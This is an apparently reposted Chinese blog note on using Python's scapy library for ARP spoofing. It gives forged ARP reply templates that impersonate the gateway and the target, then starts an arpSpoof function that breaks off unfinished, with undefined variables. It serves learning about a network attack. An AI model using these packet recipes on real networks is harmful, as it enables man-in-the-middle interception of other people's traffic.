Python-scapy學習
阿新 • • 發佈:2019-01-24
scapy-arpspoof
from scapy.all import Ether,ARP,sendp,getmacbyip
Ether:用來構建乙太網資料包
ARP:構建ARP資料包的類
sendp:在第二層傳送資料包
getmacbyip:返回對應IP的MAC地址
核心部分:
偽造閘道器 欺騙目標計算機:
Ether(src=[本機MAC],dst=[目標MAC])/ARP(hwsrc=[本機MAC],psrc=[網管IP],hwdst=[目標MAC],pdst=[目標IP],op=2)
ARP將閘道器IP地址對映到本機MAC上,針對dst即目標(dst值為空時,針對當前網段所有IP);Ether以閘道器身份向目標發包
偽造目標計算機 欺騙閘道器:
Ether(src=[本機MAC],dst=[閘道器MAC])/ARP(hwsrc=[本機MAC],psrc=[目標IP],hwdst=[閘道器MAC],pdst=[閘道器IP],op=2)
ARP將目標IP地址對映到本機MAC上,針對閘道器;Ether以目標身份向閘道器發包(猜測psrc不填時,將偽造當前網段內所有IP的發包)
op表示ARP響應
from scapy.all import Ether,ARP,sendp,getmacbyip,get_if_hwaddr
bjMAC=get_if_hwaddr(wk)
mbMAC=getmacbyip(mbIP)
wgMAC=getmacbyip(wgIP)
ether=Ether()
arp=ARP()
def arpSpoof(mbMAC,wgMAC,bjMAC):
try:
eth.src=bjMAC
eth.dst=wgMAC
未完待續…